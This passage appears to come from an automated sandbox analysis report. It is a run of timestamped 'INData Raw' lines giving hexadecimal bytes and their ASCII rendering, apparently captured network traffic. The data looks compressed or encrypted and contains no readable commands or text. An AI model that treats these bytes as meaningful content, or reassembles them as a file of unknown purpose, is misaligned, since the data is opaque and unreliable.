1c c4 50 e2 5b 40 c5 6d 99 d8 28 72 88 9f 57 6a 3f ca 36 ca a2 6c 68 d2 e8 5e 26 f8 61 7b 55
                                                            Data Ascii: 0-L^lGL((=d81A[~zttn2l(3.)NXt-d[:!3e3sFIQ&/<r{>)\NxqB~o[ IgeUL:{@g?`&ZTe,a;'_v72~P[@m(rWj?6lh^&a{U
                                                            2021-10-12 07:38:07 UTC124INData Raw: e8 a6 67 a4 50 4f 00 19 19 31 45 d4 6a 1a e2 ef 86 c5 6f 44 94 cc 8f 31 71 4b ed a5 e9 5a e3 75 6c cd ff ef b1 75 f3 8f 38 b2 d4 fb c3 3c 88 20 33 a8 89 13 f0 92 78 60 7d 38 0c a9 eb 1d 90 42 9c 56 69 f0 53 ed 71 e1 4f 50 a5 5c ed 84 b4 7e 80 b2 6f 09 c4 ec 16 9a 1b 75 cf 25 bc 80 f5 cc d0 98 d8 b3 06 6a 40 92 dd 5f 1f ff 44 08 83 fb 3e fe 02 c3 9f 8e 3c 50 64 3f 67 79 7f 01 f0 61 eb 9d ca 00 25 96 75 f2 61 79 3b 20 da 5f ef 56 94 10 b0 39 b9 f3 d5 e9 be 65 44 d5 2a f8 0b e5 f7 ae c8 17 60 18 d6 da 4c 53 6f c7 0b 50 d1 3c e8 4e a4 c1 a2 7a ef 02 32 f8 fc 21 c3 f0 ae 6a fa 88 dc 6e fa f8 f5 00 47 89 7f 7c be bb 8a 8b 66 87 e0 b9 97 79 b5 52 3f a2 19 09 88 0a fb ed b4 dc bd 94 60 bf 7b aa c3 b5 c3 62 c3 63 6e 77 3b f5 94 24 c0 aa 03 64 b9 da bb 69 75 ff 35
                                                            Data Ascii: gPO1EjoD1qKZulu8< 3x`}8BViSqOP\~ou%j@_D><Pd?gya%uay; _V9eD*`LSoP<Nz2!jnG|fyR?`{bcnw;$diu5
                                                            2021-10-12 07:38:07 UTC125INData Raw: 4a a4 8d 06 42 00 04 fa b2 9b 26 f9 de d4 39 16 03 c5 8f bf 5a 65 3e 23 ff d0 b2 3e 41 59 25 af 44 19 2f f2 a9 78 72 54 c3 31 6d f9 68 86 44 bf 82 d2 cc 25 f8 90 c2 af ac 85 14 df e5 c9 05 7f 36 56 a3 1c 5e 6e 04 67 b5 dc 7d 26 e9 66 fc 4f 99 97 5c 21 58 10 31 db db d3 2c 4a ea 56 9a 93 4c d0 d3 0e b5 24 02 bd a7 29 46 58 06 0f c2 a0 e7 0b 98 80 88 f9 9d 6b 4c 3f 1f 7e 90 d6 d1 7f c7 6d 2f 5c 5b 4e c3 34 8b 70 35 f7 28 a0 7a 0a 48 5a cc 2f bf 63 3f 7d ca 6e 10 fc c3 ad 3a 79 a7 ac ea c3 60 fa b0 6b 1d 47 dd 96 7c 67 16 a9 e5 e5 3d 42 7a f0 ea 0a 7f da 89 03 ba 40 7f fc 7c 07 9a 22 bf a9 74 c4 ee 23 96 d5 97 d6 63 97 d8 a3 40 9b e6 8f 8a ca c4 47 c2 7f 57 50 c1 fd 49 1a 28 a8 dd bf 1a f9 1a 81 5a 66 67 8f f7 5f 68 83 88 bb b2 08 32 05 f8 a6 13 39 d9 70 fe
                                                            Data Ascii: JB&9Ze>#>AY%D/xrT1mhD%6V^ng}&fO\!X1,JVL$)FXkL?~m/\[N4p5(zHZ/c?}n:y`kG|g=Bz@|"t#c@GWPI(Zfg_h29p
                                                            2021-10-12 07:38:07 UTC127INData Raw: 6b 81 bc 17 51 fb 5d 35 dd ff e9 80 14 8a 1c e7 a2 f5 cc c7 a6 ad 07 30 9a 9c 08 e8 fc 7a 6a a3 21 22 ae e9 5c 8a 68 f6 28 f0 f1 53 e9 6e d5 d5 6c 89 52 cb 82 81 5e f1 a0 6f 09 df de 3b 98 1a 29 e7 b5 d7 55 f4 cc d6 85 ee 54 58 46 4f b0 c0 6e 42 f5 47 08 87 ce 34 c5 1f c5 9f 62 16 3e 1a ae 67 79 6a 1c 38 ee 83 b0 c5 24 38 de 60 72 63 7d 46 41 d1 77 c6 56 44 5b 9a 53 c5 42 c0 e9 ba 70 5b 4b 0e d5 0f be 95 98 e8 99 61 0c 28 c5 72 80 6c cd 0b 56 96 40 72 c1 13 b8 3d 43 75 23 1d f4 a1 be fa d0 38 40 a1 8a c4 4c aa 85 f4 06 69 e0 17 e7 c4 c4 8f 94 5b 1f be 14 98 5f ae 43 ef 34 1b 03 8c 07 2d c1 a0 22 ba b5 0d ed cf a9 c7 3f 6b 25 db 47 43 7d 1f e8 d5 86 56 a8 07 4c f9 f0 96 61 08 78 1e 1f 4a 61 39 5f b4 dc 52 94 e0 20 d3 8d 1b 02 61 8a d7 1e a8 f0 50 28 ef b0
                                                            Data Ascii: kQ]50zj!"\h(SnlR^o;)UTXFOnBG4b>gyj8$8`rc}FAwVD[SBp[Ka(rlV@r=Cu#8@Li[_C4-"?k%GC}VLaxJa9_R aP(
                                                            2021-10-12 07:38:07 UTC128INData Raw: 24 e9 8a 4a 7f 39 a8 39 90 22 f2 a4 5e 6b 1c b9 0f f0 f8 68 9d 48 0d 8a fd c7 05 cb e1 a9 29 be ad 3d c2 86 55 0a 04 47 e9 bd 7f 7a 21 9a 42 98 c9 56 14 db 4c e6 61 9e fb 22 be 73 46 4b 5d be 49 0d 7c 7f 55 a8 fd 4a a9 c8 22 af 13 20 97 8a 2d 6c 04 52 f8 bd 39 e2 17 06 ba c0 68 9e 5a 5c 29 1f 17 98 8a d7 7f c1 58 7c 0a ef 4d c3 36 bc 84 6e 43 22 86 63 0a 12 df e6 2a 9d 47 20 1d c0 4e 6a 65 c2 b2 1e 4f 10 8b c7 ce 6c 8e d1 b9 03 4a f1 a4 19 fd 35 ae 89 bd bb 24 5a 6e f1 03 e5 e3 8c 22 9e 5f 70 c9 4a 66 0f 0b 92 af 6b aa 5e 64 c5 43 b0 c9 0f a8 72 3d 65 b6 f5 b9 bd ed d9 23 db 5e 15 03 5a fc 4f 34 69 bf de 9b 37 f3 23 95 a9 63 fa 80 d1 40 78 b4 ca a0 9a 23 1a 6b 80 15 70 47 44 6e 94 ff 9f b7 c2 20 d2 dc bd 9c bb 95 fb 12 88 32 3d a7 30 81 c5 8a 69 db 35 01
                                                            Data Ascii: $J99"^khH)=UGz!BVLa"sFK]I|UJ" -lR9hZ\)X|M6nC"c*G NjeOlJ5$Zn"_pJfk^dCr=e#^ZO4i7#c@x#kpGDn 2=0i5
                                                            2021-10-12 07:38:07 UTC129INData Raw: fd a2 c9 92 7c 4a 2d 38 0a 83 71 79 a1 50 ba 76 e7 f0 53 ed 51 e9 48 49 a4 43 ff b5 98 7c 80 a4 45 8f ba 6f 17 9a 1e 0f 42 db a9 cc 6f e9 ff 88 fd ee f2 6b 40 96 ff 41 65 83 45 17 b6 f9 13 ef 32 c1 b5 e6 42 c9 65 37 62 59 fe 03 0e 74 3c b8 e7 13 01 c8 d0 f2 61 7d 66 15 dc 5f eb 4e 6c 70 b2 39 bd f1 47 97 27 6e 6c d5 0b 69 01 98 8a 35 ed 3e 71 2a 08 4a 5a ad 6e ed 42 7b fc 3e f4 ec 3b 91 20 7b e9 2c b2 84 1e a0 c2 f4 8a d0 a1 8a dc fe a2 aa e5 26 63 18 69 7e c5 e4 f0 8c 62 85 81 11 bb 7b b1 7c e5 22 67 9a 8d 1e 01 cc 31 22 bc 9f fd b6 7b b9 e1 1b e7 1f 41 62 4e 0c 3e f7 ef bc e9 87 05 4c e4 f2 39 1d 91 7f 34 71 14 6c 38 5f b0 59 4c 23 d4 2b fd 3f 04 39 41 36 56 19 a8 ec 60 2d c0 b2 25 1e 63 e2 58 f4 37 60 92 b6 33 c3 be b6 de aa 69 28 ea 35 c9 53 91 4e 77
                                                            Data Ascii: |J-8qyPvSQHIC|EoBok@AeE2Be7bYt<a}f_Nlp9G'nli5>q*JZnB{>; {,&ci~b{|"g1"{AbN>L94ql8_YL#+?9A6V`-%cX7`3i(5SNw
                                                            2021-10-12 07:38:07 UTC130INData Raw: dd 61 21 d8 20 82 18 62 14 4a 6e 42 4c 04 67 f3 44 b4 40 7b 80 25 ec f8 16 ca f7 54 d3 db 3a 50 70 8a df e5 99 33 0e fe 16 f3 3a 42 ad 11 c2 05 85 b4 8e 72 05 83 db 7a 22 6a 99 6b 96 f0 0d 4c 04 8f e9 cd 6b 4a 1c 34 a3 d4 62 ed b0 67 a9 6c 5e 26 33 6f 23 45 d4 51 35 fe ef 86 d2 6f 51 97 cc 83 6f e5 35 74 bf 17 55 c3 d2 18 df ff 75 8f 53 e6 a3 c6 05 f1 d3 f4 1c 86 22 3e bc 9c 28 e0 bf 7a 6a a5 12 8c fd 72 5d 8c 46 bc fe 69 f0 53 77 54 cc 5d 6f 84 f4 ed 9d b5 5e a1 aa 6f 09 db ff 3e b7 18 2f cb f1 2f b2 6c cd d2 9e fb 67 7d 6b 40 0c fa 76 70 a5 65 a1 87 d1 3e cd 18 cf 9f 64 23 40 4c 1a 64 79 68 29 8c 0a 3f 9c ca 06 07 42 40 f2 61 e7 63 73 ca 79 cb fe 44 5d b0 19 81 d3 c1 e9 a5 47 41 d3 2b fe 2b 1a f4 36 c9 13 67 2c 83 db 5a ad f4 e8 20 6d da 1e 40 c0 13 bc
                                                            Data Ascii: a! bJnBLgD@{%T:Pp3:Brz"jkLkJ4bgl^&3o#EQ5oQo5tUuS">(zjr]FiSwT]o^o>//lg}k@vpe>d#@Ldyh)?B@acsyD]GA++6g,Z m@
                                                            2021-10-12 07:38:07 UTC131INData Raw: 22 69 b0 1f ac 92 3e 9d 0f e0 81 52 23 06 5b 1a 9a 5d dd 87 f0 55 db 44 8d b3 b4 de f8 2e 52 ff bb f0 37 38 a3 bc d8 2e d8 9d 29 31 a1 8b 83 77 73 35 f4 ef c8 5f 51 88 e1 1d f6 ce 80 9f b1 28 82 5c a8 83 2a c2 cc 77 cb fd d6 6b 69 89 11 d8 bf 0c de 86 aa 10 2c f6 f9 3b 36 5c e5 d9 c1 dc 47 16 0a e5 4a 91 39 cd 01 a4 b6 5b 0e 27 11 ab 78 74 e4 bc 62 e6 de 48 4c 5d 25 a7 df bb 09 e1 8f c8 93 97 80 3b dd e3 e5 a9 57 d1 ce a2 18 7a bb 9e 42 98 4c 7e 11 e4 68 c6 a8 b4 95 5c 07 ed 4c 4f 42 c5 f1 00 7c 72 73 b1 b3 ec b5 55 23 af 08 0f 6f a7 2f 6c 98 5d bb d1 86 c3 c7 02 a5 a5 d2 7a 7d 53 0f 1f 50 90 d6 d1 7f c7 6d f3 5c 5b 4e c3 34 b6 3b 10 da 23 1c 42 38 66 63 e3 d6 92 61 3f 5b 03 3e 6e 65 dd 8e 16 4a 3f 89 c1 e2 c0 9a 36 21 02 4e d5 69 7e 67 10 19 a2 b6 b6 65
                                                            Data Ascii: "i>R#[]UD.R78.)1ws5_Q(\*wki,;6\GJ9['xtbHL]%;WzBL~h\LOB|rsU#o/l]z}SPm\[N4;#B8fca?[>neJ?6!Ni~ge
                                                            2021-10-12 07:38:07 UTC132INData Raw: dd ff b6 dc db 3c 6d de d9 44 e4 9f 1d a8 25 8f f2 3a dc a8 ce d0 23 a5 8b ab 5f 17 85 15 8f 22 6a 86 52 6e d0 0f 4c 1d a8 43 9e f0 4b 1a 1a 01 0c fb ec b0 f9 ac b2 4f 00 13 53 06 68 c5 57 12 05 ef 86 cf 67 a1 98 cc 85 58 4b 66 ef be 11 7b 61 0b 81 de ff eb 8a 8a f4 85 e6 38 d4 fe e5 1a a8 de 3e bc 83 1b 2c 9f 78 6a b4 10 27 81 eb 5a a6 c0 e2 cf 68 f0 57 cd 84 e1 4f 49 3e 79 c0 8c 93 5e 75 a2 6f 09 e4 13 1b 9a 1a 32 e5 f6 ab cc f3 e6 50 e4 42 cf 7d 6f 60 60 df 5b 62 19 60 25 96 f7 1e 1b 32 c7 9f 44 d0 5d 64 37 7c 51 43 01 0e 72 8c 1f b4 9b 26 e8 44 d2 96 7d 46 5e 41 7a c6 45 62 7d 47 39 bb db e1 19 b3 6f 6c cb 03 d5 03 98 8c 85 4a 6d fa 0d 28 df 7a 55 6e cd 0d e6 d9 13 fa e6 33 44 22 7b ef 26 c4 f7 87 a1 d8 d8 87 40 a1 8c f6 e6 f9 1e f5 00 47 aa 90 7e c5
                                                            Data Ascii: <mD%:#_"jRnLCKOShWgXKf{a8>,xj'ZhWOI>y^uo2PB}o``[b`%2D]d7|QCr&D}F^AzEb}G9olJm(zUn3D"{&@G~
                                                            2021-10-12 07:38:07 UTC134INData Raw: b3 b4 e1 10 09 7f fd a6 de 30 bc dd 23 f3 a8 a2 24 e4 31 a5 ab 00 53 5e 27 48 ea 29 4d 77 a8 d8 2a fc ce a0 52 9d 00 af 41 b9 ad 2d 46 b2 e8 e0 7f ac d2 a5 89 15 f8 3f 28 f3 94 16 15 cc e7 df 1b 0c 04 ef d9 e1 20 6b 3e 27 fb 62 ba 11 4b 79 17 31 25 93 06 df af 58 6f 7f 99 4f 6e dd 45 90 7b 05 bc fe c7 03 c1 66 d8 b0 bf b2 29 f5 c8 cd 2f 2f 62 4d dc 85 5b 74 9a 62 84 d7 5b 3c 6c 6b cb 76 92 b5 40 26 72 46 6f bb d5 d3 28 4f 58 5e b5 99 6c e1 4a 5c 36 0d 2f bb 87 32 6d 02 78 0c e6 8d f1 31 22 b8 a4 f2 bb 57 52 1f 00 72 a7 da fb 52 c3 47 73 08 44 31 5a 31 96 ee 30 c4 22 86 67 8f 51 68 d1 21 b2 7f 3e 7b e0 14 4c 75 c2 ad 21 6e 15 a4 c5 c8 40 ce 29 5e 9b 4b f5 bf 5e 78 11 83 87 01 81 6e 68 d2 d5 1c e4 ff a4 2f b7 4f 76 e3 3b 0b be 27 90 ab 72 e8 46 3f 71 4d 96
                                                            Data Ascii: 0#$1S^'H)Mw*RA-F?( k>'bKy1%XoOnE{f)//bM[tb[<lkv@&rFo(OX^lJ\6/2mx1"WRrRGsD1Z10"gQh!>{Lu!n@)^K^xnh/Ov;'rF?qM
                                                            2021-10-12 07:38:07 UTC135INData Raw: 8f 72 05 39 10 50 33 4c a6 4d bf dd 0f 6c c7 b4 6b b3 ee 63 31 32 83 74 48 6f ce 64 8d 41 4b 20 53 c8 23 45 4e 54 1f e7 c9 a6 8f 46 7c 95 ec 4e 54 63 4b f6 96 3a 53 e3 73 32 5d 81 76 ab 7e f0 a5 a7 a3 f1 d3 6e 19 a5 3b 18 9c c2 3a c8 92 58 ba b2 38 0a 98 c3 71 8e 42 9a 7c ef 8e ca ec 71 e5 6f 0b a5 5c ed 07 90 53 92 84 4f 4b c5 f6 16 ba cf 3e cd db b6 e8 dd e1 d0 9a dd e4 fb 15 d9 97 df 5f 42 c0 44 08 87 4b 1b c0 20 e1 bf 27 3d 50 64 17 9f 68 6e 03 11 67 8e b0 c8 02 21 c2 c6 8c f8 7c 46 5a fb 1b ea 54 44 c7 95 14 a9 fd e1 ad bf 6f 6c f1 27 ea 01 98 95 8b e0 3e 61 0c 2e f1 dc d3 f7 cc 0d 78 dc 7b ea c0 13 26 07 56 fd 20 10 bf 86 a1 c2 d0 9a 50 a1 8a c3 7b af aa f6 00 45 a0 ef 00 5c c5 8b 8f 42 c3 9a 39 96 e3 94 57 dd 86 39 45 8d 1e 05 cc ed 30 bc 9f 78 b7
                                                            Data Ascii: r9P3LMlkc12tHodAK S#ENTF|NTcK:Ss2]v~n;:X8qB|qo\SOK>_BDK '=Pdhng!|FZTDol'>a.x{&V P{E\B9W9E0x
                                                            2021-10-12 07:38:07 UTC136INData Raw: ff cd 04 59 7b 0e bf b2 fd ce 84 a0 f4 01 af 5e 32 a0 2d 56 94 ce ac fc d2 4b 84 ac 04 d8 25 36 ea bc a1 32 e1 f0 d3 bd 68 9c ee d9 c5 e3 03 3f 27 e7 d0 b2 3e 59 59 1d d0 5a 0a 07 ff 95 6d 74 7e 86 5e dc d5 6a 82 5b 0f 25 81 5e 02 e1 8b f7 d8 be ad 39 47 c0 e2 3e 0f 68 a7 a3 1c 5a 54 d1 57 98 d6 46 14 db 4c e6 61 9e 17 22 be 73 46 4b 62 b3 d2 28 51 ea 56 9a 88 4c eb a5 23 af 0c 0f e9 b2 2f 6c 1c 50 bb c1 a0 e5 3d 80 db 3c f3 bb 73 73 65 01 72 b8 61 f6 52 d0 61 55 48 c3 4f c3 10 c8 ff 10 da 3d ae 4a 17 74 43 e9 85 ec f8 3e 7b e4 14 05 64 c2 ad a4 42 10 98 e1 e8 2d e5 af 20 22 2c e0 bb 7e 7d 38 ae 85 9b a2 69 f8 8a 6c 02 e5 fb 84 63 9d 5f 76 79 01 35 87 2c b2 c7 75 c2 c4 61 82 59 96 d6 7d a0 ff 3b 65 b0 c0 2b eb 59 da 23 d9 54 12 7c c3 fd d5 15 5b c7 62 9e
                                                            Data Ascii: Y{^2-VK%62h?'>YYZmt~^j[%^9G>hZTWFLa"sFKb(QVL#/lP=<sseraRaUHO=JtC>{dB- ",~}8ilc_vy5,uaY};e+Y#T|[b
                                                            2021-10-12 07:38:07 UTC137INData Raw: ed 90 99 9b 41 4f 1d 3b e4 21 45 d2 5b b4 88 76 87 cf 43 5c 18 cd 85 45 f9 6e c0 ac 31 71 6e 74 18 df df 84 bd 7e f4 9a f6 8a dc d1 f4 3a a2 ac 40 25 82 3b cc b2 f6 6b a3 38 90 a6 c6 4e aa 62 12 57 69 f0 73 96 66 e1 4f 56 ab 74 c0 9f b5 78 aa 24 11 90 c5 f6 12 ba 95 2e cd db 33 e9 d8 de f4 ba 54 cf 7d 6b 60 1c c8 5b 62 9c 4c 20 aa d3 3e eb 18 41 e1 fd 3d 50 60 17 f6 78 6e 03 94 51 8b 8f ec 22 b7 e9 40 f2 41 ee 51 5e db 40 f8 7c 69 5f b0 3f 91 5d bf 70 bf 6f 68 f1 ba f9 01 98 10 8a e5 01 45 2c b9 da 5a ad 4e 6b 1a 7c fc 21 e2 e8 3e be 22 7d c5 80 4e 63 86 a1 c6 d0 38 43 a1 8a 46 41 aa 95 d2 20 d1 8b 69 7e e5 6b 9c 8b 62 9a 95 11 bb 7b b1 7c e5 26 67 9a 8d 1e 01 cc 31 23 bc 9f fd b6 7b ba e1 1b e7 1e 41 62 4e ce 2e f7 ef b9 cd 82 2a 4e e2 de 91 e1 76 e7 35
                                                            Data Ascii: AO;!E[vC\En1qnt~:@%;k8NbWisfOVtx$.3T}k`[bL >A=P`xnQ"@AQ^@|i_?]pohE,ZNk|!>"}Nc8CFA i~kb{|&g1#{AbN.*Nv5
                                                            2021-10-12 07:38:07 UTC139INData Raw: 6d 84 3a 10 d8 25 09 fe 8d 8c 30 fc de d4 39 16 03 c5 5f bf 5a 65 3e 23 c7 fe 96 13 4b e5 18 9a 49 2c 27 6b aa 78 74 5e 8d 56 f4 f8 77 9e 75 08 a5 ff c1 29 63 f1 4e b1 bf a9 19 68 e4 cf 2f b3 6d e2 b3 3a 7a c1 9f 42 98 f6 6b 25 f6 4e f8 4f 99 97 5c 21 58 c4 31 db db d3 2c 71 c6 72 b7 99 f0 ee e1 33 89 2c 99 be a7 2f 4c 3a 61 96 c3 bc cb 3a 00 a5 a3 d8 39 09 ca 0e 00 76 98 4c d2 7f c1 dd 50 0f d3 69 e3 87 97 ea 10 fa 1d 9f 67 15 69 6d ee 05 92 67 15 f9 9e ad 6f 65 c6 8d 86 66 3d 89 5d ed 6b f5 89 00 ba 4b f5 bb 5e 22 09 83 87 8c 8c 6e 78 f4 f3 29 67 81 3d 0e 9c 5b 56 5a 25 18 96 90 b7 86 65 e4 e4 f8 e9 4c 96 f6 21 91 d2 39 79 9e c7 ab 95 c6 f1 a1 a3 ed 7e 7d c7 dd f5 31 76 d6 de 9b 37 ec 23 aa 7a 42 4a 84 f1 0c 7a 9c e7 bf b2 08 32 05 f8 a6 f3 39 d9 70 fe
                                                            Data Ascii: m:%09_Ze>#KI,'kxt^Vwu)cNh/m:zBk%NO\!X1,qr3,/L:a:9vLPigimgoef=]kK^"nx)g=[VZ%eL!9y~}1v7#zBJz29p
                                                            2021-10-12 07:38:07 UTC140INData Raw: 6b 37 bf 17 51 c3 a3 02 df ff f0 85 56 d9 87 e6 a4 db 51 8a a5 89 2a 3a 9c 58 3a c8 92 e2 4f 8e 29 2c a3 30 5d 8c 42 bc 53 72 f0 53 f5 59 cc 4d 49 a2 76 6f e3 2c 7f 80 a6 4f d5 c5 f6 16 00 3f 02 dc fd 89 10 f4 cc d2 ba dc d5 7d 6b 57 be f2 59 62 85 6f 8a f9 48 3f ed 36 e7 42 65 3c 50 fe 12 4b 68 48 23 d3 75 a6 9d ea 0a 3c e8 40 e5 49 50 44 5e dd 75 69 2a dd 5c b0 3d 9b 05 c0 e9 be f5 49 fc 3a de 21 46 8b af c8 33 6a 17 28 db 42 85 43 cf 0d 7a d6 b8 95 59 12 bc 26 5b 30 07 30 fa 1d 84 ef e2 8c 62 7e 8b dc 64 a7 8c ef 00 43 95 62 56 e8 c6 8b 8d 48 03 e5 a0 97 79 b5 5a 2f a1 19 03 16 3b 28 fe 84 02 5c 9e 67 93 76 be dc 3b 74 00 51 4a 43 71 39 f1 c5 20 bf 33 06 4c e6 f8 5a 62 08 7e ae 50 19 ea 1e 7f 51 c2 69 0e e5 2b c6 ab 04 26 62 3e f8 1c a8 ea 52 87 93 29
                                                            Data Ascii: k7QVQ*:X:O),0]BSrSYMIvo,O?}kWYboH?6Be<PKhH#u<@IPD^ui*\=I:!F3j(BCzY&[00b~dCbVHyZ/;(\gv;tQJCq9 3LZb~PQi+&b>R)
                                                            2021-10-12 07:38:07 UTC141INData Raw: 6a 96 11 4b 7f 1d 13 47 0a 07 c3 83 55 76 7e 9f 65 72 86 f1 83 5d 21 87 fd c5 03 e1 15 f2 9d ad 8b 19 df e7 cf 2f 09 e2 d3 a2 1c 45 7e b6 6f 9a d6 5d 16 74 30 7f 66 b4 91 7c 24 70 46 4f d8 ff fe 39 77 50 70 b5 99 6a eb 78 3e af 0c 33 97 8a 2d 6c 04 52 10 bd 39 e2 17 06 85 a1 f0 bb 77 c9 2a 2d 60 9e db d7 7d c1 47 55 98 de 4f c3 2f 9d c2 3d d8 23 80 4d 97 0a dc c2 07 96 41 3a 79 e0 34 f4 40 ef bc 18 47 38 8b c7 c8 66 21 b3 20 02 51 dd 96 7c 67 16 a9 01 e5 3d 42 7a f0 d5 05 e7 ff a4 95 b9 72 64 c5 04 1e 94 0a 92 8b be de c4 41 f7 40 be fb 65 88 d4 13 e3 c8 73 a8 95 c4 fb 24 df 74 7f e7 e6 d0 5d 16 56 d1 46 be 1a dd d3 96 c0 43 55 92 f9 6d 61 9c e1 88 18 5b a9 04 fe 88 51 4f 42 71 fe ff 9f b7 dc 20 ed be 9f 29 bf b5 17 11 87 1a 0e 8d 1d 85 ef e6 3d c4 4a 98
                                                            Data Ascii: jKGUv~er]!/E~o]t0f|$pFO9wPpjx>3-lR9w*-`}GUO/=#MA:y4@G8f! Q|g=BzrdA@es$t]VFCUma[QOBq )=J
                                                            2021-10-12 07:38:07 UTC143INData Raw: 83 3b 52 b7 55 78 85 18 22 81 eb 5c ac aa 82 56 69 ef 0b c5 5c e3 4f 4f 8e da 93 04 b4 7e 84 82 46 0b c4 f6 8c bf 37 3d eb fb 80 ce f5 cc f2 da c4 ce 7d 74 3a be f2 59 62 85 6f 8e f9 48 3f ed 36 e7 b5 66 3c 50 fe 12 4b 6b 48 23 24 76 a6 9d ea b8 38 e8 40 ed 39 55 6b 5c db 59 c1 d2 3a c4 b1 39 bf fb ea eb be 6f f6 f4 06 ea 27 b8 a1 ad c8 13 43 1e 08 db 5a b2 36 e5 20 7e fc 38 c1 42 6d 25 23 7b eb 26 1c f8 87 a1 58 d5 87 53 87 aa f0 66 87 87 d4 6a 63 8a 69 65 ed e9 89 8b 64 af 1d 47 0f 78 b1 7e ef 8d 1b 03 8c 84 20 c1 b0 04 9c b2 65 93 56 88 a8 1b 74 1f 5e 6f 46 5e 3b f7 e9 8c 47 d4 9e 4d e2 dc 9b 4d 0a 7e 34 ef 11 d5 2a 79 90 ed 6b 0e c5 2d a1 8b 04 39 5e 1b fd 33 aa ec 7e 2f 6b ce bc 19 49 64 06 42 34 60 96 0c 83 ee ac 90 64 a0 46 39 cc 35 d5 73 91 4e 48
                                                            Data Ascii: ;RUx"\Vi\OO~F7=}t:YboH?6f<PKkH#$v8@9Uk\Y:9o'CZ6 ~8Bm%#{&XSfjciedGx~ eVt^oF^;GMM~4*yk-9^3~/kIdB4`dF95sNH
                                                            2021-10-12 07:38:07 UTC144INData Raw: 5e 02 e1 8b f7 ff bd ad 39 47 c0 e2 3d 0f 68 80 a0 1c 5a 54 3a 60 98 d6 44 37 de 63 e4 67 b2 bf da 59 eb 47 4f 46 fa 83 2a 51 70 e9 92 b4 78 ed ec 72 ad 0c 2f 9f 08 0d 6c 02 67 b2 eb 8d e1 17 04 8f 23 8c 22 76 53 0b 20 23 ba fb d3 e5 e4 6a 67 04 e2 1e c1 30 96 ca c3 f8 23 86 78 1e 5c 68 c1 07 94 4b b9 05 79 35 6e 61 e2 ff 3c 67 3d 13 e2 e5 54 c2 8f 72 00 4a f5 9b a0 45 10 83 98 81 8c 6e 78 f4 f3 29 63 81 3d 0e 9c 5b 56 b0 26 18 96 90 b7 86 66 e4 e4 12 ea 4c 96 f6 9f aa d2 39 7a ae c2 84 97 c0 dd 09 5b 0a e6 7c c3 f9 6f 64 74 d6 44 24 3f d0 17 ac e0 17 48 84 d1 60 73 bf e7 a2 85 31 18 28 fc 8c 77 6d c2 0f 67 64 ba 9e ed 53 cf b6 9d b3 9a b8 ea 2b a7 4f 12 a5 30 a7 cb c3 17 42 2a 29 93 af 8b 8a 9d aa 81 ae 8e 63 d7 85 7f 19 43 2d df d2 56 e8 52 72 09 78 60
                                                            Data Ascii: ^9G=hZT:`D7cgYGOF*Qpxr/lg#"vS #jg0#x\hKy5na<g=TrJEnx)c=[V&fL9z[|odtD$?H`s1(wmgdS+O0B*)cC-VRrx`
                                                            2021-10-12 07:38:07 UTC145INData Raw: 43 e1 b5 98 7c 80 a4 45 8f ba 6f 17 9a 1e 0f bb d9 a9 cc 6f e9 ff 88 fd ee 0b 69 40 96 ff a0 46 83 45 17 8c f9 13 ef 32 c1 b5 e2 42 c9 65 37 62 59 19 01 0e 74 3c b8 e7 10 01 c8 37 f0 61 7d 66 58 fe 5f eb 4b 54 75 9d 3b bb dd eb 6f c0 f6 6d d1 2f d8 79 9a 8a af 52 36 4e 1e 0e fb 22 af 6e cd 2d 6a d9 3e eb df 32 94 0f 79 ef 00 1a 7c f9 38 c3 f0 ae 62 d8 88 dc 64 1d a2 d9 12 65 aa 10 7c c5 c4 ab bc 47 85 9b 26 9f 51 9c 78 cf a6 33 85 f2 87 04 ec a6 02 c6 9d 67 93 cc 8d ea 29 52 3f 3b 60 6e 73 19 b7 ca a6 c1 b5 26 64 cf da bb 65 22 f8 4a ec 35 f8 3c 7f cb c1 69 0e 5f 28 f0 b9 22 19 3a 14 d5 1e 88 8d 5d 05 ed af 0d 30 64 62 26 6b 1c e2 e8 0f a7 c3 ba 96 38 8d 44 39 56 30 71 42 b7 6e 2b 24 39 df 26 95 f2 c2 9d 81 d0 68 43 1a 0c 93 66 e2 28 97 85 de 3a 18 99 ad
                                                            Data Ascii: C|Eooi@FE2Be7bYt<7a}fX_KTu;om/yR6N"n-j>2y|8bde|G&Qx3g)R?;`ns&de"J5<i_(":]0db&k8D9V0qBn+$9&hCf(:
                                                            2021-10-12 07:38:07 UTC146INData Raw: dd ff 28 f7 db 3c 67 de d9 44 e4 9f 1d a8 25 8f f2 3a dc a8 b0 d2 23 a5 8b ab 5f 17 85 15 f1 20 6a 86 52 e6 fb 0f 4c 1d ab 43 9e f0 4b 1a 1a 05 0c fb ec b0 f9 ac cc 4d 00 13 53 06 68 c6 57 12 7b ed 86 cf 67 1a b3 cc 85 5a 75 63 c0 bc 17 57 c9 f3 66 46 fe ef ae 5e 7a 87 e6 a2 6b f6 d9 2e ae 0a b0 be 83 3b e8 ee 5e 6a a3 27 1f ab c6 5e 8c 44 b6 d4 17 69 52 ed 75 c1 c0 4b a4 5c 77 b8 98 6f a6 82 e0 0b c4 f6 36 0b 3c 2f cd cc 81 e1 f7 cc d4 b0 59 b0 e4 6a 40 92 ff cb 60 83 45 92 a2 fc 2f cb 12 57 9d 64 3c 70 f6 11 66 79 76 2b 23 76 a6 9b e0 80 59 71 41 f2 65 5d d7 5c db 5f 71 71 69 4c 96 19 2a d9 c1 e9 9e fb 4a d1 2b ef 29 b5 88 af ce 39 e1 72 b1 da 5a a9 4e 5f 0f 7c fc a4 ce ed 02 9a 02 e9 ed 06 30 da 12 87 c2 f0 b2 6a 8c 88 dc 62 ad 05 8a 99 42 8a 6d 5e 56
                                                            Data Ascii: (<gD%:#_ jRLCKMShW{gZucWfF^zk.;^j'^DiRuK\wo6</Yj@`E/Wd<pfyv+#vYqAe]\_qqiL*J+)9rZN_|0jbBm^V
